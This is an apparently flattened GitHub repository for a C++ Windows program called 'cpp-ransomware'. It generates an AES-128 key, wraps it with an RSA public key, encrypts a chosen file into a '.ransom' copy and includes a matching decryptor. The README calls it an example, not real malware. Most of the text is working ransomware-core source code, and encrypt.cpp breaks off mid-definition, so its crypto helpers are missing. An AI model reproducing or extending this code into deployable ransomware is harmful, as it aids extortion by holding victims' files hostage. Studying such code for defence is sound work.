├── .gitattributes ├── includes.hpp ├── encrypt.hpp ├── LICENSE ├── Ransomware.vcxproj.filters ├── Ransomware.sln ├── README.md ├── main.cpp ├── Ransomware.vcxproj ├── .gitignore └── encrypt.cpp /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /includes.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #pragma comment( lib, "Bcrypt" ) 9 | #pragma comment( lib, "Crypt32" ) 10 | #pragma comment( lib, "Shlwapi" ) 11 | 12 | #define RSA_PUBLIC_KEY_FILENAME "public.pem" 13 | #define RSA_PRIVATE_KEY_FILENAME "private.pem" 14 | 15 | #include "encrypt.hpp" -------------------------------------------------------------------------------- /encrypt.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | extern BOOL ReadFileToByteArray( const char* szFileName, PBYTE* lpBuffer, PDWORD dwDataLen ); 4 | 5 | extern BOOL BCryptImportPrivateKey( BCRYPT_ALG_HANDLE hProvider, PBYTE lpData, ULONG dwDataLen, BCRYPT_KEY_HANDLE* hKey ); 6 | extern BOOL BCryptImportPublicKey( BCRYPT_ALG_HANDLE hProvider, PBYTE lpData, ULONG dwDataLen, BCRYPT_KEY_HANDLE* hKey ); 7 | 8 | extern BOOL RSADecrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE* lpDecryptedBuffer, PDWORD dwDecryptedBufferLen ); 9 | extern BOOL RSAEncrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE* lpEncryptedBuffer, PDWORD dwEncryptedBufferLen ); 10 | 11 | extern BOOL AESEncrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE pbKey, DWORD dwKeyLen, PBYTE pbIV, DWORD dwIVLen, PBYTE* lpEncryptedBuffer, PDWORD dwEncryptedBufferLen ); 12 | extern BOOL AESDecrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE pbKey, DWORD dwKeyLen, PBYTE pbIV, DWORD dwIVLen, PBYTE* lpDecryptedBuffer, PDWORD dwDecryptedBufferLen ); -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Ricardo Carvalho 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Ransomware.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /Ransomware.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32802.440 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Ransomware", "Ransomware.vcxproj", "{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Debug|x64.ActiveCfg = Debug|x64 17 | {930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Debug|x64.Build.0 = Debug|x64 18 | {930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Debug|x86.ActiveCfg = Debug|Win32 19 | {930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Debug|x86.Build.0 = Debug|Win32 20 | {930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Release|x64.ActiveCfg = Release|x64 21 | {930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Release|x64.Build.0 = Release|x64 22 | {930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Release|x86.ActiveCfg = Release|Win32 23 | {930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {EECE2E5E-96AE-426B-AAF0-583C8D993384} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # cpp-ransomware 3 | C\C++ Ransomware example using RSA and AES-128 with BCrypt library on Windows 4 | 5 |

Usage

6 | 7 | ``` 8 | Ransomware.exe -e [Filename] Encrypts a file, output will be .ransom 9 | Ransomware.exe -d [Filename.ransom] Decrypts a file, output will be .clean 10 | ``` 11 | 12 |

Functionality

13 | 14 | **Encryption:** 15 | 16 | - Read all input file content to a buffer 17 | - using BCrypt APIs 18 | - Generate IV and AES-128 key 19 | - Encrypt AES key with RSA public key 20 | - Encrypt file content with AES-128 21 | - Create a file with original filename but with .ransom extension 22 | - Store IV and encrypted AES key on the output file 23 | 24 | **Decryption:** 25 | 26 | - Read all input file content to a buffer 27 | - Extract IV, encrypted AES key and encrypted file data 28 | - Decrypt AES key 29 | - Decrypt file data with IV and AES Key 30 | - Create a file with original filename but with .clean extension 31 | 32 |

Tutorial

33 | 34 | Using OpenSSL generate a RSA keypair, the application expects `private.pem` and `public.pem` to be placed at the root directory. 35 | 36 | ``` 37 | cd approot 38 | openssl genrsa -out private.pem 39 | openssl rsa -in private.pem -pubout -out public.pem 40 | openssl pkey -in private.pem -out private.pem 41 | ``` 42 | 43 |

Reminders

44 | 45 | This source code wasn't created to be used as a malware but simply as a mere example, ence why it's functionalities are not really as how a real ransomware works. 46 | -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include "includes.hpp" 2 | 3 | BOOL DeRansomFile( const char* szFileName ) 4 | { 5 | BOOL bResult = FALSE; 6 | 7 | PBYTE pbCiphertextFileData = nullptr; 8 | DWORD dwCiphertextFileDataLen = 0; 9 | 10 | PBYTE pbDecryptedFileData = nullptr; 11 | DWORD dwDecryptedFileDataLen = 0; 12 | 13 | PBYTE pbDecryptedAESKey = nullptr; 14 | DWORD pbDecryptedAESKeyLen = 0; 15 | 16 | BYTE pbCiphertextKeyData[ 0x100 ]{ }; 17 | DWORD dwCiphertextKeyData = sizeof( pbCiphertextKeyData ); 18 | 19 | BYTE pbKey[ 16 ]{ }; 20 | DWORD dwKeyLen = sizeof( pbKey ); 21 | 22 | BYTE pbIV[ 16 ]{ }; 23 | DWORD dwIVLen = sizeof( pbIV ); 24 | 25 | HANDLE hFile = nullptr; 26 | 27 | // 28 | // Read file from disk 29 | // 30 | bResult = ReadFileToByteArray( szFileName, &pbCiphertextFileData, &dwCiphertextFileDataLen ); 31 | if( !bResult ) 32 | { 33 | printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" ); 34 | goto Exit; 35 | } 36 | 37 | { 38 | // 39 | // The RSA ciphertext containing our AES key is file begging + IV length 40 | // 41 | memcpy( pbCiphertextKeyData, pbCiphertextFileData + dwIVLen, dwCiphertextKeyData ); 42 | 43 | bResult = RSADecrypt( pbCiphertextKeyData, dwCiphertextKeyData, &pbDecryptedAESKey, &pbDecryptedAESKeyLen ); 44 | if( !bResult ) 45 | { 46 | printf( __FUNCTION__ " -- RSADecrypt failed!\n" ); 47 | goto Exit; 48 | } 49 | 50 | // 51 | // The decrypted length should match the AES-128 blocksize 16 bytes 52 | // 53 | if( pbDecryptedAESKeyLen != dwKeyLen ) 54 | { 55 | printf( __FUNCTION__ " -- Invalid AES key!\n" ); 56 | goto Exit; 57 | } 58 | 59 | // 60 | // The IV is the file first 16 bytes, we extract that 61 | // 62 | memcpy( pbIV, pbCiphertextFileData, dwIVLen ); 63 | 64 | // 65 | // We have the decrypted AES key, lets copy to the pbKey buffer. 66 | // 67 | memcpy( pbKey, pbDecryptedAESKey, dwKeyLen ); 68 | 69 | // 70 | // dwTotalCount is the sum of IV Len + RSA cipher key length, leading to the block with the actual file data encrypted. 71 | // 72 | const DWORD dwTotalCount = dwIVLen + dwCiphertextKeyData; 73 | 74 | bResult = AESDecrypt( 75 | pbCiphertextFileData + dwTotalCount, 76 | dwCiphertextFileDataLen - dwTotalCount, 77 | pbKey, 78 | dwKeyLen, 79 | pbIV, 80 | dwIVLen, 81 | &pbDecryptedFileData, 82 | &dwDecryptedFileDataLen 83 | ); 84 | if( !bResult ) 85 | { 86 | printf( __FUNCTION__ " -- AESDecrypt failed!\n" ); 87 | goto Exit; 88 | } 89 | 90 | // 91 | // Create a .clean file with the decrypted data 92 | // 93 | char szNewPath[ MAX_PATH ]{ }; 94 | strcpy_s( szNewPath, szFileName ); 95 | ::PathRemoveExtensionA( szNewPath ); 96 | strcat_s( szNewPath, ".clean" ); 97 | 98 | hFile = ::CreateFileA( 99 | szNewPath, 100 | GENERIC_READ | GENERIC_WRITE, 101 | FILE_SHARE_READ | FILE_SHARE_WRITE, 102 | nullptr, 103 | CREATE_ALWAYS, 104 | FILE_ATTRIBUTE_NORMAL, 105 | nullptr 106 | ); 107 | if( !hFile || hFile == INVALID_HANDLE_VALUE ) 108 | { 109 | bResult = FALSE; 110 | printf( __FUNCTION__ " -- CreateFileA failed %d\n", ::GetLastError( ) ); 111 | goto Exit; 112 | } 113 | 114 | DWORD dwWritten = 0; 115 | ::WriteFile( hFile, pbDecryptedFileData, dwDecryptedFileDataLen, &dwWritten, nullptr ); 116 | } 117 | 118 | Exit: 119 | if( hFile ) 120 | ::CloseHandle( hFile ); 121 | 122 | if( pbDecryptedAESKey ) 123 | ::HeapFree( ::GetProcessHeap( ), 0, pbDecryptedAESKey ); 124 | 125 | if( pbCiphertextFileData ) 126 | ::VirtualFree( pbCiphertextFileData, 0, MEM_RELEASE ); 127 | 128 | if( pbDecryptedFileData ) 129 | ::VirtualFree( pbDecryptedFileData, 0, MEM_RELEASE ); 130 | 131 | return bResult; 132 | } 133 | 134 | BOOL RansomFile( const char* szFileName ) 135 | { 136 | BOOL bResult = FALSE; 137 | 138 | PBYTE pbEncryptedAESKey = nullptr; 139 | DWORD dwEncryptedAESKeyLen = 0; 140 | 141 | PBYTE pbPlaintextFileData = nullptr; 142 | DWORD dwPlaintextFileDataLen = 0; 143 | 144 | PBYTE pbEncryptedFileData = nullptr; 145 | DWORD dwEncryptedFileDataLen = 0; 146 | 147 | BYTE pbKey[ 16 ]{ }; 148 | DWORD dwKeyLen = sizeof( pbKey ); 149 | 150 | BYTE pbIV[ 16 ]{ }; 151 | DWORD dwIVLen = sizeof( pbIV ); 152 | 153 | HANDLE hFile = nullptr; 154 | 155 | // 156 | // Read file from disk 157 | // 158 | bResult = ReadFileToByteArray( szFileName, &pbPlaintextFileData, &dwPlaintextFileDataLen ); 159 | if( !bResult ) 160 | { 161 | printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" ); 162 | goto Exit; 163 | } 164 | 165 | // 166 | // Generate crypto random IV and AES key 167 | // 168 | ::BCryptGenRandom( NULL, pbKey, dwKeyLen, BCRYPT_USE_SYSTEM_PREFERRED_RNG ); 169 | ::BCryptGenRandom( NULL, pbIV, dwIVLen, BCRYPT_USE_SYSTEM_PREFERRED_RNG ); 170 | 171 | { 172 | // 173 | // Encrypt the AES key first. 174 | // 175 | bResult = RSAEncrypt( 176 | pbKey, 177 | dwKeyLen, 178 | &pbEncryptedAESKey, 179 | &dwEncryptedAESKeyLen 180 | ); 181 | if( !bResult ) 182 | { 183 | printf( __FUNCTION__ " -- RSAEncrypt failed!\n" ); 184 | goto Exit; 185 | } 186 | 187 | // 188 | // Encrypt the actual file 189 | // 190 | bResult = AESEncrypt( 191 | pbPlaintextFileData, 192 | dwPlaintextFileDataLen, 193 | pbKey, 194 | dwKeyLen, 195 | pbIV, 196 | dwIVLen, 197 | &pbEncryptedFileData, 198 | &dwEncryptedFileDataLen 199 | ); 200 | if( !bResult ) 201 | { 202 | printf( __FUNCTION__ " -- AESEncrypt failed!\n" ); 203 | goto Exit; 204 | } 205 | 206 | // 207 | // Create the .ransom file 208 | // 209 | char szNewPath[ MAX_PATH ]{ }; 210 | strcpy_s( szNewPath, szFileName ); 211 | ::PathRemoveExtensionA( szNewPath ); 212 | strcat_s( szNewPath, ".ransom" ); 213 | 214 | hFile = ::CreateFileA( 215 | szNewPath, 216 | GENERIC_READ | GENERIC_WRITE, 217 | FILE_SHARE_READ | FILE_SHARE_WRITE, 218 | nullptr, 219 | CREATE_ALWAYS, 220 | FILE_ATTRIBUTE_NORMAL, 221 | nullptr 222 | ); 223 | if( !hFile || hFile == INVALID_HANDLE_VALUE ) 224 | { 225 | bResult = FALSE; 226 | printf( __FUNCTION__ " -- CreateFileA failed %d\n", ::GetLastError( ) ); 227 | goto Exit; 228 | } 229 | 230 | // 231 | // Encrypted file format order: 232 | // IV -> AES RSA Encrypted Key -> AES Encrypted File Data 233 | // 234 | DWORD dwWritten = 0; 235 | ::WriteFile( hFile, pbIV, dwIVLen, &dwWritten, nullptr ); 236 | ::WriteFile( hFile, pbEncryptedAESKey, dwEncryptedAESKeyLen, &dwWritten, nullptr ); 237 | ::WriteFile( hFile, pbEncryptedFileData, dwEncryptedFileDataLen, &dwWritten, nullptr ); 238 | } 239 | 240 | Exit: 241 | if( hFile ) 242 | ::CloseHandle( hFile ); 243 | 244 | if( pbEncryptedAESKey ) 245 | ::HeapFree( ::GetProcessHeap( ), 0, pbEncryptedAESKey ); 246 | 247 | if( pbPlaintextFileData ) 248 | ::VirtualFree( pbPlaintextFileData, 0, MEM_RELEASE ); 249 | 250 | if( pbEncryptedFileData ) 251 | ::VirtualFree( pbEncryptedFileData, 0, MEM_RELEASE ); 252 | 253 | return bResult; 254 | } 255 | 256 | int main( int argc, char** argv ) 257 | { 258 | if( ( argc > 1 ) && 259 | ( ( *argv[ 1 ] == '-' ) || ( *argv[ 1 ] == '/' ) ) ) 260 | { 261 | if( _stricmp( "e", argv[ 1 ] + 1 ) == 0 ) 262 | { 263 | printf( "RansomFile returned %d\n", RansomFile( argv[ 2 ] ) ); 264 | } 265 | else if( _stricmp( "d", argv[ 1 ] + 1 ) == 0 ) 266 | { 267 | printf( "DeRansomFile returned %d\n", DeRansomFile( argv[ 2 ] ) ); 268 | } 269 | else 270 | { 271 | goto Dispatch; 272 | } 273 | exit( 0 ); 274 | } 275 | 276 | Dispatch: 277 | printf( "Ransomware.exe -e [filepath]\tEncrypts a file.\n" ); 278 | printf( "Ransomware.exe -d [filepath]\tDecrypts a file.\n" ); 279 | 280 | return 0; 281 | } -------------------------------------------------------------------------------- /Ransomware.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {930e0ed8-c9e1-42b5-b211-2e73d3e08cf6} 25 | Ransomware 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /encrypt.cpp: -------------------------------------------------------------------------------- 1 | #include "includes.hpp" 2 | 3 | BOOL ReadFileToByteArray( const char* szFileName, PBYTE* lpBuffer, PDWORD dwDataLen ) 4 | { 5 | BOOL bResult = FALSE; 6 | 7 | HANDLE hFile = nullptr; 8 | 9 | if( !szFileName || !lpBuffer || !dwDataLen ) 10 | { 11 | printf( __FUNCTION__ " -- Invalid params!\n" ); 12 | goto Exit; 13 | } 14 | 15 | hFile = ::CreateFileA( szFileName, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr ); 16 | if( !hFile || hFile == INVALID_HANDLE_VALUE ) 17 | { 18 | printf( __FUNCTION__ " -- CreateFileA failed %d\n", ::GetLastError( ) ); 19 | goto Exit; 20 | } 21 | 22 | *dwDataLen = ::GetFileSize( hFile, nullptr ); 23 | 24 | // 25 | // VirtualAlloc is ideal to work with files. 26 | // 27 | *lpBuffer = ( PBYTE )::VirtualAlloc( nullptr, *dwDataLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); 28 | 29 | bResult = ( *lpBuffer != nullptr ); 30 | if( !bResult ) 31 | { 32 | printf( __FUNCTION__ " -- VirtualAlloc failed %d\n", ::GetLastError( ) ); 33 | goto Exit; 34 | } 35 | 36 | { 37 | DWORD dwRead = NULL; 38 | bResult = ::ReadFile( hFile, *lpBuffer, *dwDataLen, &dwRead, nullptr ); 39 | if( !bResult ) 40 | { 41 | ::VirtualFree( *lpBuffer, 0, MEM_RELEASE ); 42 | *lpBuffer = nullptr; 43 | 44 | printf( __FUNCTION__ " -- ReadFile failed %d\n", ::GetLastError( ) ); 45 | } 46 | } 47 | 48 | Exit: 49 | if( hFile ) 50 | ::CloseHandle( hFile ); 51 | 52 | return bResult; 53 | } 54 | 55 | BOOL 